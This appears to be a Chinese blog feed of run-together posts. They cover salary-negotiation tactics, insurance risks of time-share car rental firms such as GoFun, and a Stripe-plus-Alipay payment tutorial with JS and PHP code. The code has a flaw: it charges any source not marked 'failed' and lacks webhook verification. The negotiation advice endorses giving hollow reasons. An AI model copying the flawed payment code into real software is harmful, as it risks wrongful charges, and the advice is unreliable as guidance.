从一开始就得记住,就雇用你是多么的昂贵!没有人会因为你的表现不符合你多要的 5K 就把你开了。解雇你和雇佣别人的成本远远超过 5K。
并且,你的老板不会恨你。事实上,大多数和你曾经谈过的人当中,也很少会是你日后的老板。招聘和管理部门通常是分开的。哪怕你是在个创业公司,相信我,你的老板会很习惯与候选人进行谈判,但是他对你的重要性不像你对他那么重要。
简而言之:谈判比你相信的更容易也更平常。公司都很愿意和你谈判。如果你的直觉指引了你,那请相信你的心智模式是错误的。
之前我提到了不先报价的重要性。但有时候你就是会管不住嘴。在这个情形下,他们通常会随便给一个数字但其实并不是他们最终想给的数字。
如果公司问你,你的期望薪资是多少?你可能会说:
我实际上没有一个具体的数字,我更在意这个机会对于我们双方都是一个好的选择。如果这个 Offer 有竞争力的话,我很乐意进行协商。
听起来不错。但是他们会怼回去:
我明白,但是我们想很清楚的知道你所谓的有竞争力是啥意思。我需要去知道你提到的是否值得我们继续这个面试流程。我们只是个创业公司,我需要确保我们在薪酬方面的理解是一致的。
怼的很有力,但是你还可以再怼回去:
我完全明白了你的意思,并且我也同意在薪酬方面达成一致是多么的重要。我现在真的没有实际的数字。真的,这取决于我们是否合适以及 Offer 的构成。一旦我们决定想要一起工作,我觉得那会才是我们真正需要去讨论 Offer 构成的最好时机。
大多数雇主会在这里妥协。但有少量可能他们可能会继续:
好吧,看来你很困难。咱们别浪费时间了。你愿意接受什么提议?
这是一个决策点。他们试图夺走你的谈判权,让你过早地做出决定。
就是说,你可能会在这个时候报个数,或者冒着破坏这层信任关系的风险。(他们提出了一个有效的观点,即创业公司不能像大公司一样提供同样的工资,且暗示你也不应该期望他们这么做,且他们可能感觉到你没有意识到这一点)。
但是你可以在这里给出一个数字而不用给出一个准确的数字。
嗯,好的。我知道硅谷的软件工程师平均年薪大概是 120 万。所以我认为这是一个很好的起点。
注意我在这里做了什么。我实际上并没有回答「你愿意接受什么」这个问题,我只是围绕「软件工程师平均工资」的支点来进行讨论。
因此,如果你被迫给出一个数字,那就给一个客观指标,比如行业平均水平(或你目前的薪水)。你需要明确表示你只是开始谈而已,而不是结束谈判。
假设 Offer 已经给你了,且上面已经包含了工资信息,你现在想要的更多。通常来说,直接问你要的数比较好,你可以采取以下步骤
首先,重申你对公司的兴趣。这很简单:
我真的很喜欢贵司在 xx 领域解决的问题,以及 xx…
概述下为何你需要要更多。这里有 2 个选择:你可以说你在犹豫中,但是如果 Offer 的工资更高的话可能会让你接受这个 Offer,或者你强硬一点,说明自己对这个 Offer 完全不满意。你选择哪种方法取决于你有多大的影响力,你的 Offer 相对于你的 BATNA 有多弱,以及你是否有其他的 Offer (你的谈判立场越弱,通常你就越不确定)。
无论用哪种方式,记得有礼貌。
如果你对 offer 不满意,你可能会说:
非常感谢贵司给我发了这个 Offer,但是还有一些点我不是很满意。
如果你想保守一点,你可以说:
你们的 Offer 挺好。现在我的决定基本上是在贵司和 XX 公司之间。这对我来说是一个真正困难的决定,但如果这个工资方面可以得到改善,会有很多方面的影响。
假设你想提高工资。现在你有了一个明确的问题,我们需要称述对应的理由。
我们都知道:如果你说你想要更多的薪水,你会听起来很贪婪。没有人喜欢贪婪的人,对吧?那么他们为什么要给一个贪婪的人更多的钱呢?特别是当他们不得不这么做的时候。
我相信这一点是许多候选人退缩的一点,他们不想对外表现得看起来很贪婪,这个和他们的社交属性不符,但是要求更多在某些情况下是完全合理的。
也就是你不得不要求更多的时候。
如果你不得不提高你的工资,不然你就付不起房租,或者如果你不得不通过谈判来支付医疗保险,那么你就不会有任何遗憾。区别呢?你有了一个去提要求的理由。
这对你自己和你的谈判伙伴都是一种冲击。仅仅陈述一个理由 —— 任何理由 —— 让你的请求感觉很人性化,很重要。这不是因为你贪婪,而是你在努力实现你的目标。
你表现的越理智,越不会受到反对,而是获得同情。如果是医疗费用,或者偿还学生贷款,或者照顾家庭,你会让他们感动。我告诉雇主们,我是在为慈善事业捐款,所以自从我把 33% 的收入捐给慈善机构以来,我一直在积极地为自己的生活留出足够的时间。
但说实话,即使你的理由是空洞的,听起来很虚,它仍然会起到这种作用。
如果只是说「请问你们能提高工资吗?」 听起来你就爱钱。但如果你说「我真的想在明年买一栋房子;我们能做些什么来改善薪水呢?」这就很显得合理了。”
如果他们现在拒绝你的要求,相当于他们在含蓄地告诉你 「不,你不能买房子,我猜你不需要。」没有人会蠢到这样做。他们会说「好吧,我和总监谈过了,我们可以提升你的薪资,希望你可以得到那幢新房子!」
当然,他们肯定知道你要更多的钱是为了买更多的东西,不然呢?
去做吧,说明你的原因,你就会发现招聘人员更愿意帮你争取。
有一个在谈判中很有用的一手,特别是报价之后,就是去强调你可以给公司带来一些特别的东西。比如说:
Blah blah blah 我要介个,介个和那个
我知道你们在找人来帮忙组建 Android team. 我相信我可以给你们带来很多经验,带领工程师做好开发。并且我也相信我可以把我们公司的产品做的比竞品公司好。
你们如何看呢?
要自信,不要自夸,也不要吹一些自己没法掌握的东西(除非你非常自信)。无论你主张什么,都应该是你在之前的讨论中提到过的。但现在可以重复一下,作为一个友善的提醒。这会让他们回忆起,而且也表明了你依然对这个机会积极的态度。
当然这不是在所有场景中都合适,尤其是在初级职位上会很难然给你突出(毕竟你可能并没有什么经验)。但在以后的职业生涯中(或者是更高级别的岗位中),这将是一个非常有价值的促进力。
我们需要不仅被钱所驱动。
注意,这并不是说「如果你看上去不仅被钱驱动,你就可以得到更多的钱」。
对于一家公司来说,只要有人只关心钱那事情就好办多了。在这方面你也没法装。
让你真正被别的因素驱动,但是也要考虑到钱,它应该是你考虑的许多维度中的一个。其他诸如,你会得到多少练习,你的第一个项目是什么,你加入的团队,甚至是你的导师 —— 这些都是你可以并且应该协商的事情。
在所有的这些条件中,薪水可能是最不重要的。你真正看重的是什么?是创造性的。当桌子上不仅仅有蛋糕的时候,不要试图讨价还价。
当然,要谈的好,你需要了解对方的偏好。你想让这个交易对你们俩都更好。
也就是说,我们需要了解公司的价值观,但是怎么去判断呢?嗯,有一些很好的经验法则。
首先,薪水几乎总是最难被用来判断的,原因如下:
必须年复一年地支付,所以它成为了公司长期消耗率的一部分。
薪水几乎总是人们八卦的话题中心,因为付给某人更高的薪水会引起骚乱。
它往往受到薪酬区间的限制,尤其是在大公司。
因此,如果你想要更多的报酬,你应该尽可能的在薪水之外去考虑如何去想。举个例子来说,签字费比薪水要容易得多。签字费的优点是只需要支付一次。它让候选人对加入(因为每个人都喜欢现金)感到兴奋,而这通常不是公开的。
记住,当你长久在公司工作时,你总能得到加薪,但你只有一个点可以得到签字费。
对于一个公司来说,最容易做到的就是股票(如果公司提供股票的话)。公司喜欢给予股票,因为它投资于你的公司,并使你的利益保持一致。它还将公司的一些风险转移给你,减少了现金的消耗。
如果你属于真正的风险中立或者在你的职业生涯早期,那么你一般应该尽可能地假设尽可能多的股票。如果你积极交易现金股票,你可以获得更高的期望值报价(尽管风险较高)。
如果你已经很熟悉股票的运作方式,你可以跳过这部分。我要对完全不知情的人说,因为太多的人在评估股票的时候被骗了。
首先,了解有两个完全不同的公司:上市公司和私人公司。
如果公司是公开的(即,它有首次公开募股 (IPO)),并在股票市场上市,然后它的股票就像现金一样好。你通常会被授予 RSUs (限制性股票单位),这是你可以在股票市场上购买的股票。一旦这些股票 (即发行给你),你就可以在股票市场上出售。这就是他们如何变现。
如果公司是私人的,那么事情就会变得复杂得多。对于私人公司来说,大多数时候他们实际上不会发行股票。通常情况下,他们会发行股票期权。期权是预先议定的以冻结价格购买股票的权利。
请注意,当你想要离开公司的时候,如果你有股票,你的生活就会变得很复杂。你可能需要支付一大笔钱来行权 (也就是说,在之前的冻结价格中购买你事先商定的股票,或者冒着失去的风险),但实际上还没有卖出。真正清算你的选择的唯一方法是在公司 IPO 或被收购的时候。而且很多公司都不这么做。
当涉及到股权时,许多公司都会尝试与你玩心理游戏。有几家公司把这些难题抛都给了我。
一种常见的方法是将股票的总价值呈现,而不是突出年化价值,尽管股票行权时间有差别,或超过 5 年,而不是标准 4 的年。
但最令人震惊的事情是公司会告诉你他们股票的价值是多么的牛逼。他们会说:「好吧,我们现在值这么个价格,但按照我们的增长速度,我们将在一年内达到 10x。你看隔壁和我们性质一样的企业目前股价就有 15x, 所以,你的选择的价值是数百万美元!」。不拐弯抹角:这就是 BullShit,想都不要想,直接拒绝。
这就是为什么这个事听起来那么不靠谱了:一个公司的估值是由投资者决定的。这些投资者看到了公司的财务状况和增长率,并以反映公司当前增长率的价格进行投资。换句话说,他们投资的估值已经达到了 10x 的增长率。投资者不是傻瓜。除非你(或你的招聘人员)认为你有公司的投资者不知道的信息,否则你应该相信投资者的眼光。
更不用说公司的名义估值几乎总是由于优先股,债务和生存倾向而膨胀,不过目前我们先忽略它。
因此,如果一家公司给了你这堆垃圾,还击并告诉他们谢谢他们,但你将会以同样的估值来考虑他们的投资者对它的估值。
我的意思是,表现的 OK (且有礼貌)一些。但不要让他们强迫你接受这种垃圾。
工作不是自杀约定。选择一个明智而透明的公司,你会发现自己更有可能得到尊重和照顾。
因为如果我不指出其他的事情,我会很遗憾。
搬家费通常来自大公司的单独预算,所以这通常很容易得到。所以去寻找那些对你有特别价值的东西。也许这是为了满足你的通勤费用,要求志愿者或学习时间,参加会议,甚至是慈善捐赠。
在你尝试提起之前,不要认为任何事情都是不可能的。
不过不要要求的很多,不要把整个厨房的水槽都扔在他们身上。如果你带来一连串的改变,谈判很快就会成为雇主的麻烦。尽量让变化简洁。
招聘人员喜欢试图诱使你提前结束谈判。他们会毫不留情地做这件事。别责怪他们——我感觉他们经常习惯于此。
你需要做的,只是不断地打破他们的预设的方向。在你准备好做出最终决定之前,不要让自己被迫终止谈判。如果你有多个工作机会,这就特别重要,你会让一家公司迫使你取消其他公司的 Offer。公司一直都在这样做,所以我想让你有能力从这些技术中获得巴西柔术的技能。
这里有两种情况你可以打破。这些都是在我的谈判过程中发生的真实情况,尽管数字和细节都是虚构的。
我要求增加签约奖金 10K。公司那边和我说:
这对我们来说真的很难,我要试一试。我认为你是值得的。但我不能就这样去找我的老板和他说你的要求,除非她知道你要签字。如果我给你 10K,你会签字吗?
你应该在想:啊,这个人想逼我做决定,拿走我的谈判权。
我回答说:
好吧,我听到的是,你必须通过个人魅力,才能帮我争取到 10K 奖金。如果你为我争取的话,你有信心能得到那 10K 吗?
HR 表示:
我想我能做到,这只取决于你的态度。如果你真的想加入我们,那我就去为你争取。但我需要确定你会签署。
好极了,柔术时间
这听起来很不错。但是,我还不能承诺签约;我还没有到可以做出最终决定的阶段。就像我之前告诉过你的,这个周末我要和家人一起坐下来好好谈谈。在接下来的几年里,我非常认真的去选择我将要度过的公司是。所以我想确定我做了一个深思熟虑的决定。
但既然你有信心能多得到 10K,我们这么说吧:在我看来,我将假装这个 Offer 是 (X + 10K),因为我正在考虑我的最终决定,这就是我要重视的地方。我知道你很难从你的老板那里得到这个数,所以我不希望你这样做,直到我确定我要签字。
然后他们含糊的去回复,并迅速得到了 10K 奖金的批准。
我要求增加 20% 的股票。招聘经理知道我正在和其他公司谈判,然后他们就说:
我想给答应你这个要求。我知道我能,我们有预算。但在我这么做之前,我需要你的答复。
啥?
我需要你给我一个承诺,即,如果我给你 offer,你不会拿着我们的 Offer 去竞争对手那里谈条件。
你会觉得说:这不就是让我别谈判的讯号么?有意思。
容我三思,你说你愿意给我 Offer,但是我必须同意不会去竞争对手那里说我有 Offer。对吗?
不不不,法律上来讲我不能那么做。我的意思是,我喜欢你,我想给你 Offer, 但是如果你那么做的话,你会让我产生不信任感。
好的,让我明确下我理解你说的话了,如果你给我这个 Offer 然后我告诉了竞争对手,我会违背因为你给了我这个 Offer 的信任,对吗?
看,这么讲吧。我觉得,我会给你股票,然后我会觉得你是个好人,你会考虑我们的 Offer 然后不会到处炫耀。这样公平么?
我点头了。他帮我拿到了更好的 Offer,我继续谈判。尴尬就避免了。
如果你好奇,如果在上面他直接说了「是的」的话,我就会直接拒绝这个 Offer。
仅仅不断地要求东西是不够的。公司需要意识到,你实际上是在最后做决定的路上,而不是在玩他们。
在谈判中,你的目标不是很难,也不是难以捉摸。诚然,你应该坚持你的价值,仔细考虑你的选择,但你可以尊重和会去好好考虑公司的感觉去和对方交流。
开放一点,多沟通一点。我一直说诚实,我的意思是诚实。
旁白:我一直在谈论诚实,你可能会抗议说这与我早先的「保护信息」原则背道而驰。诚然,你应该保护那些可能削弱你谈判立场的信息,但你应该尽可能地与其他事情沟通(也就是除此之外的大多数事情)。
谈判与关系有深深的联系,而沟通则是关系的基石。
我们仅仅是给公司留下你喜欢他们的印象(你一直都应该这样做)。更重要的是,你必须给任何公司一个明确的方式方法来让你签 Offer。不要让他们玩愚蠢的游戏。明确并肯定你的偏好和时间点。
如果公司无论怎么样都不会让你想签 Offer,或者你其实也不想和他们一起工作,那就别谈了,就酱。
不要浪费他们的时间或者只是出于游戏心态和他们接触。即便公司不是很理想,你也至少可以去想象下你能接受的他们可以给你的最低 Offer。如果做不到的话,那就礼貌地拒绝。
面试你并和你谈 Offer 对于公司而言都挺费钱的。我不会和每一个给我 Offer 的公司谈。如果说,在我找工作的过程中有一个失误,那就是我和太多的公司谈判了。(从大的方向上来看,我不认为我找工作很成功)
好了我们现在需要准备做决定了,是的,你得做一个决定,我们需要时刻明白这三件事情:
当你开始谈的时候,你不需要去了解你需要花费多少时间,因为你一个 Offer 都没有。但是如果你进入了节奏,你应该开始给自己设个签约节点了。它可能是出于一个武断的原因(或者根本没有理由),但仅仅是预设一个承诺期限将会让你更清晰有力地进行谈判。
「与家人共度周末」,我觉得这个理由很好,因为它有利于带进其他的决策者。然后,当公司催促你提前结束谈判时,你可以重新确定这个期限。
公司应该完全意识到你何时会做出决定。随着最后期限的临近,这将提高赌注。
截止日期也让你在争取 Offer 的时候推迟你的决定。你的叙述基本上应该是「我想看到你的公司能达到的最强的报价。然后我将进入考虑期,冥想 10 天,当我回过神的时候,我将决定加入哪个公司。」这给了你很大的去避免任何当场做决策或者过早的作出承诺。
最终,截止日还是会到的。把那天设为工作日这样你就可以和 HR 沟通。该发生的事情终归会发生。
即便你只是在和这一家公司谈,你也应该在最后一天签你的 Offer。是的,即使你确信你会签,即使这是你梦寐以求的工作。我看到过很多情况,随着最后期限的临近,你会自发地提高自己的能力,或者在第 11 个小时收到惊喜。不管怎样,都没有坏处。
最后,你的王牌。把这个留到最后。你的王牌就是这些话:
如果你可以做到 X,我就签。
注意,这不是说「如果你给我 X,你的出价会让我值得期待。」别这样,是时候做出一个承诺了。
每一个还在谈判流程中的公司,都要让他们知道签你的代价是什么(除非他们无能为力)。当你做出最后的决定时,不要忘记说明理由,即使是和以前一样的理由!
Hi, Joel, 我咨询的考虑下然后感觉做决定真的挺难的” 我喜欢贵司公司的每一个员工但是你们的薪水真的让我很困惑。你知道我还要付房贷(类似于此)。如果你可以多个 10K,我会完完全全接受这个 Offer 的。
运气好点,他们会答应一般。或者想的更美一些,他们会接受全部。
因为我知道有人会问 —— 是的,一旦说你要签,你就应该永远签。
不要食言。世界很小,人们也会去讨论。你打出去的球最后都会回到你这里。(更重要的是,永远不要食言,因为你是那种从不食言的人。)
告诉所有其他给 Offer 的人你已经做了最后的决定。感谢他们的谈判。如果你做得很好,他们通常会感谢你,告诉你保持联系,并在未来几年内再次和他们接触。
就是这样。你做到了!恭喜你!你还活着,对吗?
… 你居然不感动?
反正是好事。朋友,该庆祝你的新工作了!
]]>TL;DR:如果你打算安全地租车,请在正式上路前一定做以下操作:
如果上文 TLDR 看完后还是对于租车有兴趣的话,请继续往下阅读~
租车行业本来是被各大租车公司给垄断的日租(月租)行业,比如在国内比较知名的某州租车,但是自从某企业「开启分时租赁」之后,整个行业的格局发生了改变,似乎任何一个公司都可以购买一些质量很差的新能源汽车投入运营,既可以薅到国家的补贴,又可以赚用户便宜,一鱼多吃。然而对于用户而言,价格从之前的每天几百加上各种信用卡预授权变为了现在按照里程和时间计费+支付宝芝麻分免押金,看上去价格和成本都小了很多,也就吸引了很多经济上不是很富有的大学生以及一些车技极差的新司机租车上路,但是表面的低价格其实内在的风险可能反而会很大,具体来说我们可能会遇到以下问题:
这个其实蛮常见的,我们以一个 “比较知名” 的分时租赁机构 GoFun(北京首汽智行科技有限公司)为例:
GoFun出行是首汽集团针对移动出行推出的一款共享汽车产品,依托首汽集团的行业经验和优势资源,致力于整合用户碎片化的用车需求,提供便捷、绿色、快速、经济的出行服务。 GoFun出行是共享行业新兴的一种租车模式,车辆无人值守,用车全程App操作,提供汽车的即取即用、分时租赁服务,消费者可按个人用车需求预订车辆。GoFun出行已相继完成全国80余个城市的布局,其中不乏北京、武汉、成都等一、二线城市,更有西安、青岛、昆明、桂林、三亚等重要旅游地。
如公司介绍所说,他们的产品遍布非常的广泛,所以可能大家都有听说或者使用过,最初 GoFun 的车辆投保的为「交强险」+「5W 额度商业险」,这个时候我们能看到类似这样的一些新闻了:请远离共享租车,别让他夺走你的财产 。
在这种事情之后,GoFun 对于自己的保险条例进行了升级,比如宣称自己的保险变成了 50 万:gofun三者险50万:gofun基础服务费说明(2019年4月更新)。
gofun早期的三者险保障较低只有5万元,一直为用户垢病,现在gofun新的三者险已经提升至50万,该服务已经包含在2元/小时的基础服务费内,整单12元封顶。以下为截止目前最新的gofun三者险官方说明解释,来自app服务条例,供各为gofun用户参考。
我们来看看 GoFun 的 APP 上是如何宣传的(截图于本文发布当天):

赠送全额车损险及50万元三者险,价格将根据用车行为浮动
好的,且不说「三责」变成了「三者」,这里宣传车辆已经投保了「全额车损险」和「50万元三责险」,我们点开看看详情。

这里对于「50万元三责险」的描述是「三者50万的分时险服务」,关于什么是「分时险」,我没有查到,也不确定是否存在,即使有,这里是否具有法律效益,我们也不确定,且在底下签署的文件中,并没有任何关于保险的描述,整个 APP 中唯一对于保险的描述在「平台规则」上,如下:

这里保险是否存在我们可以参考三个来源:
通过查看车辆右上角贴的标识后的保单号自己致电保险公司查询,不过根据一个朋友的说法来看,对面保险公司的回复是:这个车辆在 XX(非车牌和车辆所在地)投保了交强险,但是没有投保任何其他保险。
参考一个知乎回答:https://www.zhihu.com/question/264023478/answer/677462769
Gofun可能虚假宣传,仅给车辆投保交强险。 … 后跟gofun客服电话沟通,让我报保险公司,保险公司告知我该车只有交强险,没有他们宣传的车损险和分时险,随后联系gofun客服,客服让我先支付修车费,并等他们人员再次联系我.
企业诉讼,例如我们可以参考 2019 年的 杨再国与龚雷、首汽租赁有限责任公司宁波分公司机动车交通事故责任纠纷一审民事判决书,中可以看到商业险只有 5 万元:
被告龚雷驾驶的浙B×××××号小型轿车所有人为被告首汽宁波分公司,由该公司在被告太平保险宁波分公司投保了交强险,在太平保险北京分公司投保了额度为50000元的商业险。
… 在使用前该租车软件会显示《GoFun出行分时租赁服务会员协议》的条款,其中包含车辆的保险额度,但未以明显标识表明,
对于新手的一点小解释,假设你开车变道时刮到了正在直行的一辆车(自己全责),没有人员伤亡,自己这边修车需要 3000 CNY,对方修车需要 5000 CNY:
但是如果不慎撞到了人,导致人员死亡的话,从判决书中我们可以看出,在川渝地区赔付金额一般在 60 万左右,这个时候如果三责险只有 5 万的话,那么保险最多帮你赔付:12 万(交强险)+ 5 万(三责险)= 17 万,剩下的 33 万完全由用户本人(也就是你)承担,卖房吧骚年!
如果很幸运,你使用的车投保了 100 万的三责险,这个时候在许多的相关的平台规则中就会有如下要求:

一般来说租车公司的说法是只要自己有责任就需要垫付给修理厂或者直接给对应的租车公司,然后等 “保险理赔到账之后返回给用户”,但是真正问题在于:
从一些租车讨论群中我们可以看到类似于如下的对话,要等很久很久才会拿到自己垫付的钱:

类似的,在 GoFun 中也可以看到这样的案例:准备起诉gofun扣押理赔款,有同样遭遇的车主可以联系
本人在成都,7月份发生一起事故,自己垫付了维修理赔款1万多,然后保险公司8月就把理赔款打给gofun,gofun至今没有划给本人,也没有任何解释,微信客服几乎出于不回复的状态。现在准备到法院起诉gofun,有同样遭遇的车主可以联系我。百度给我私信,一起维权!
所以这个也是一个很大的需要考虑的点。
这里请直接参考我的好友 Keshane 的一系列文章感受一下:
租车上路前一定要一个个字阅读/理解保险条文,并在上路前核对车辆的真实保险信息,我知道对于新司机来说开车上路非常 Exciting,但是如果保险不达标的话,还是理智地选择放弃这个平台,不然后患真的很大。
还有,如果车技的确不行的话…建议上路的时候找一个老司机带着,可以提供许多驾校没有教你的实际道路驾驶技巧,而且如果自家有车的话,还是尽量使用自家的车,不要抱有用租的车练手的天真想法,因为一旦出事了,这个账是记在那儿的,带来的损失远远比修自家车大的多。
]]>除了生病和亲朋离世的痛苦是真实的外,其余世间所有痛苦都是价值观带来的。
最近在某超级大佬的帮助下有机会接触到 Stripe 的工作流程,事情很简单,对于优秀的服务,我们应该付出使用他们的成本(这样他们可以继续提供优质的服务),对于商户来说收钱就是一个比较有意思的部分了,鉴于大多数网友都是付钱,本文决定分享一下 Stripe 整合支付宝来收钱的方法,且本文不是网上很多出现的那种引用 checkout.js 的过期的方法(许多人都互相转来转去,看了一圈下来都是这个),而是使用 Stripe.js 来完成。
Stripe 目前收款方式有两种,简单来说,我们分为 Easy 难度和 Hard 难度,前者只支持信用卡,储蓄卡和 Apple Pay,而后者则支持多种支付方式,Stripe 支持的支付方式一览表如下:
| FLOWS | PAYMENT METHODS WITH PAYMENT INTENTS API | TOKENS OR SOURCES WITH CHARGES API |
|---|---|---|
| CARDS | Supported | Supported on Tokens Not recommended on Sources |
| DYNAMIC 3D SECURE | Supported | Not supported |
| CARD PRESENT | Supported | Not supported |
| ALIPAY | Planned | Supported |
| ACH DEBIT | Planned | Supported on Tokens Not supported on Sources |
| ACH CREDIT TRANSFER | Planned | Beta |
| BANCONTACT | Planned | Supported |
| EPS | Planned | Beta |
| GIROPAY | Planned | Supported |
| IDEAL | Planned | Supported |
| MULTIBANCO | Planned | Beta |
| PRZELEWY24 | Planned | Beta |
| SEPA DIRECT DEBIT | Planned | Supported |
| SOFORT | Planned | Supported |
| WECHAT PAY | Planned | Beta |
Easy 模式即使用他们写好的页面,被称为「Checkout」,对于商户来说需要在后台定义好产品(Products),生成 sku 后写一个按钮触发脚本自动跳转过去,页面上需要写的内容如下:
<!-- Load Stripe.js on your website. -->
<script src="https://js.stripe.com/v3"></script>
<!-- Create a button that your customers click to complete their purchase. Customize the styling to suit your branding. -->
<button
style="background-color:#6772E5;color:#FFF;padding:8px 12px;border:0;border-radius:4px;font-size:1em"
id="checkout-button-sku_xxxxxxxxxxx"
role="link"
>
Checkout
</button>
<div id="error-message"></div>
<script>
(function() {
var stripe = Stripe('pk_test_xxxxxxxxxxxx');
var checkoutButton = document.getElementById('checkout-button-sku_G40GQYkIX4a8c4');
checkoutButton.addEventListener('click', function () {
// When the customer clicks on the button, redirect
// them to Checkout.
stripe.redirectToCheckout({
items: [{sku: 'sku_xxxxxxxxxxx', quantity: 1}],
// Do not rely on the redirect to the successUrl for fulfilling
// purchases, customers may not always reach the success_url after
// a successful payment.
// Instead use one of the strategies described in
// https://stripe.com/docs/payments/checkout/fulfillment
successUrl: 'https://xxx.xxx.xx/success',
cancelUrl: 'https://xxx.xxx.xx/canceled',
})
.then(function (result) {
if (result.error) {
// If `redirectToCheckout` fails due to a browser or network
// error, display the localized error message to your customer.
var displayError = document.getElementById('error-message');
displayError.textContent = result.error.message;
}
});
});
})();
</script>
这样在用户点了按钮之后就会出现一个 Stripe 的支付页面:

这样就可以用了,用户在付款完成之后就会跳转回到 successUrl,同时 Stripe 可以给你预先定义好的接口(WebHook)发一个 POST 请求告知,大致逻辑如下(其实官方有示范):
\Stripe\Stripe::setApiKey('sk_test_xxxxxxxxxxxxxx');
// You can find your endpoint's secret in your webhook settings
$endpoint_secret = 'whsec_xxxxxxxxxxxxxxx';
$payload = @file_get_contents('php://input');
$sig_header = $_SERVER['HTTP_STRIPE_SIGNATURE'];
$event = null;
try {
$event = \Stripe\Webhook::constructEvent(
$payload, $sig_header, $endpoint_secret
);
} catch(\UnexpectedValueException $e) {
// Invalid payload
http_response_code(400);
exit();
} catch(\Stripe\Exception\SignatureVerificationException $e) {
// Invalid signature
http_response_code(400);
exit();
}
// Handle the checkout.session.completed event
if ($event->type == 'checkout.session.completed') {
$session = $event->data->object;
// 授权用户
$target_customer = \Stripe\Customer::retrieve($session['customer']);
$target_email = $target_customer['email'];
// 然后这里自己根据 email 找到对应用户完成接下来的步骤,比如把文件通过邮件发给用户,给用户头像加个 Buff 啥的~
}
这样就可以获取到用户的信息并且给用户提供/升级服务了,很方便是不是?
不过呢,「Checkout」只支持卡和 Apple Pay,对于喜欢见到付钱就想扫一扫的用户来说并不友好,所以我们需要使用一些别的方法。
为了照顾没有信用卡,遇见码就开始掏手机准备打开或绿或蓝应用准备开始扫一扫的用户来说,我们需要加入支付宝的支持功能。
首先确认你的账户中 Alipay 是连接上并且处于激活状态的,没有这一点等于没戏(也就不用继续往下看了)。

如果你的 Stripe 已经连接上了支付宝,接下来我们就可以开始整合了。
首先我们明白一下对于商户来说,逻辑是怎么样的:

首先由于 Stripe 并不是原生支持支付宝,所以所有这种非信用卡交易都被挂了称为「Source」的东西下,可以理解为一个插件或者一个临时的钱包,以下一段是具体的逻辑,请仔细阅读:
当用户需要付款的时候,用户会先通过 JS 创建一个 「Source」对象,并指定类型为「Alipay」,这个时候 Stripe.js 会带领用户去支付宝的付款页面进行支付,如果付款成功了,那么这个「Source」的状态会从 charge.pending 变成 source.chargeable ,可以理解为用户给临时钱包付了钱,在有了这个状态之后我们可以调用 Stripe 对这个 Source 扣款(Charge),把临时钱包的钱扣到自己 Stripe 账户上,然后就完成了付款的过程。
我们先来看用户的逻辑部分:
用户的逻辑是,在对应的购买页面上应该有一个 Button,上面写上「立即购买」,这样用户只要一摸那个按钮,就可以看到支付宝的付款页面了,为了满足这个需要,我们需要这么做,在对应的页面上放个 Button:
<button id="checkout-button">
立即购买
</button>
然后引用 stripe.js 并写一点 JS 来完成接下来的事情:
<script src="https://js.stripe.com/v3/"></script>
<script type="text/javascript">
(function() {
var stripe = Stripe('pk_xxxxxxxxxxxxxx');
var checkout-button = document.getElementById('checkout-button');
checkout-button.addEventListener('click', function () {
stripe.createSource({
type: 'alipay',
amount: 1988,
currency: 'hkd',
// 这里你需要渲染出一些用户的信息,不然后期没法知道是谁在付钱
owner: {
email: '{$user_email}',
},
redirect: {
return_url: 'https://xxx.xxx.xx/buy',
},
}).then(function(result) {
window.location.replace(result.source.redirect.url);
});
});
})();
</script>
其中,owner 和 owner 下的 email 建议填写,不然付款后可能不好找到究竟是哪个用户付了钱,如果正巧你们不用 email 来标识用户,那也可以写点别的,对于 owner 来说有以下字段可供选择:
"owner": {
"address": null,
"email": "[email protected]",
"name": null,
"phone": null,
"verified_address": null,
"verified_email": null,
"verified_name": null,
"verified_phone": null
},
此外,如果你还希望在 Source 中包含一些其他的内容的话,可以自由地使用 metadata ,并在内部包含一系列键值对。由于 createSource 执行完成后会返回一个包含 Source 对象,类似如下:
{
"id": "src_16xhynE8WzK49JbAs9M21jaR",
"object": "source",
"amount": 1099,
"client_secret": "src_client_secret_UfwvW2WHpZ0s3QEn9g5x7waU",
"created": 1445277809,
"currency": "usd",
"flow": "redirect",
"livemode": true,
"owner": {
"address": null,
"email": null,
"name": "null",
"phone": null,
"verified_address": null,
"verified_email": null,
"verified_name": "null",
"verified_phone": null
},
"redirect": {
"return_url": "https://shop.example.com/crtA6B28E1",
"status": "pending",
"url": "https://hooks.stripe.com/redirect/src_16xhynE8WzK49JbAs9M21jaR?client_secret=src_client_secret_UfwvW2WHpZ0s3QEn9g5x7waU"
},
"statement_descriptor": null,
"status": "pending",
"type": "alipay",
"usage": "single_use",
"alipay": {
"statement_descriptor": null,
"native_url": null
}
}
其中的 redirect[url] 只要访问了就会自动被 Stripe 跳转到支付宝家的支付页面上,所以我们最后会有一行:
window.location.replace(result.source.redirect.url);
将用户跳转过去,然后用户扫码付钱:

用户这边的事情就结束了。
用户的事情结束了,服务器端就需要开始处理用户的请求了,一个简单的方法如下,在用户付款完成后 Stripe 会跳转回我们 JS 中定义的 return_url 并附带一些参数,类似如下:
https://xxx.xxx.xx/buy?client_secret=src_client_secret_xxxxxxxxx&source=src_xxxxxxxxx
这个时候我们可以通过服务端来解析 src_xxxxxxxxx 得知是谁在付钱,并完成后续的操作:
\Stripe\Stripe::setApiKey('sk_xxxxxxxxxxxxxx');
// 获取 URL 中 source 字段
$source_id = filter_input(INPUT_GET, 'source', FILTER_SANITIZE_URL);
$source_object = \Stripe\Source::retrieve($source_id);
// 先确认一下用户付了钱,别有 Object 就直接开始整...
$status = $source_object->redirect->status;
if($status == "failed")
{
// 如果用户没有付钱,我们该怎么做?
}
else {
// 从临时钱包从把钱扣了~
\Stripe\Charge::create([
'amount' => 1988,
'currency' => 'hkd',
'source' => $source_id,
]);
// 有了 Object 之后我们可以提取出对应的用户邮件地址或者别的信息,比如邮件地址可以这样提取
$user_email = $source_object->owner->email;
// 然后这里自己根据 email 找到对应用户完成接下来的步骤,比如把文件通过邮件发给用户,给用户头像加个 Buff 啥的~
}
顺便可以登录 Stripe 后台看看~

不过这种方法只是说可以用而已,最好的方法可以参考 Best Practices for Using Sources 来接受 Webhook 多次验证,但这个就不在本文的范围内了。
由于是第一次接触支付领域,上述步骤中可能还是会有不少坑或者啥的(所以别直接在生产环境照抄,写完之后一定要多 Review 几遍逻辑漏洞),不过这个至少是一个可用最小模型了,还有不少可以改进的地方,比如浏览器端的函数其实可以异步拉起,这样可以在网页上弄一个 Modal 弹窗,看上去更加用户友好一些。
如果还有啥需要注意的话,那就是,别熬夜写代码,不然就会和我一样:

Happy Hacking && Happy Halloween !
Given the scenario I host all my images on a dedicated server () with Nginx for static files server, mod_pagespeed cannot perform the on-the-fly conversion at this time.
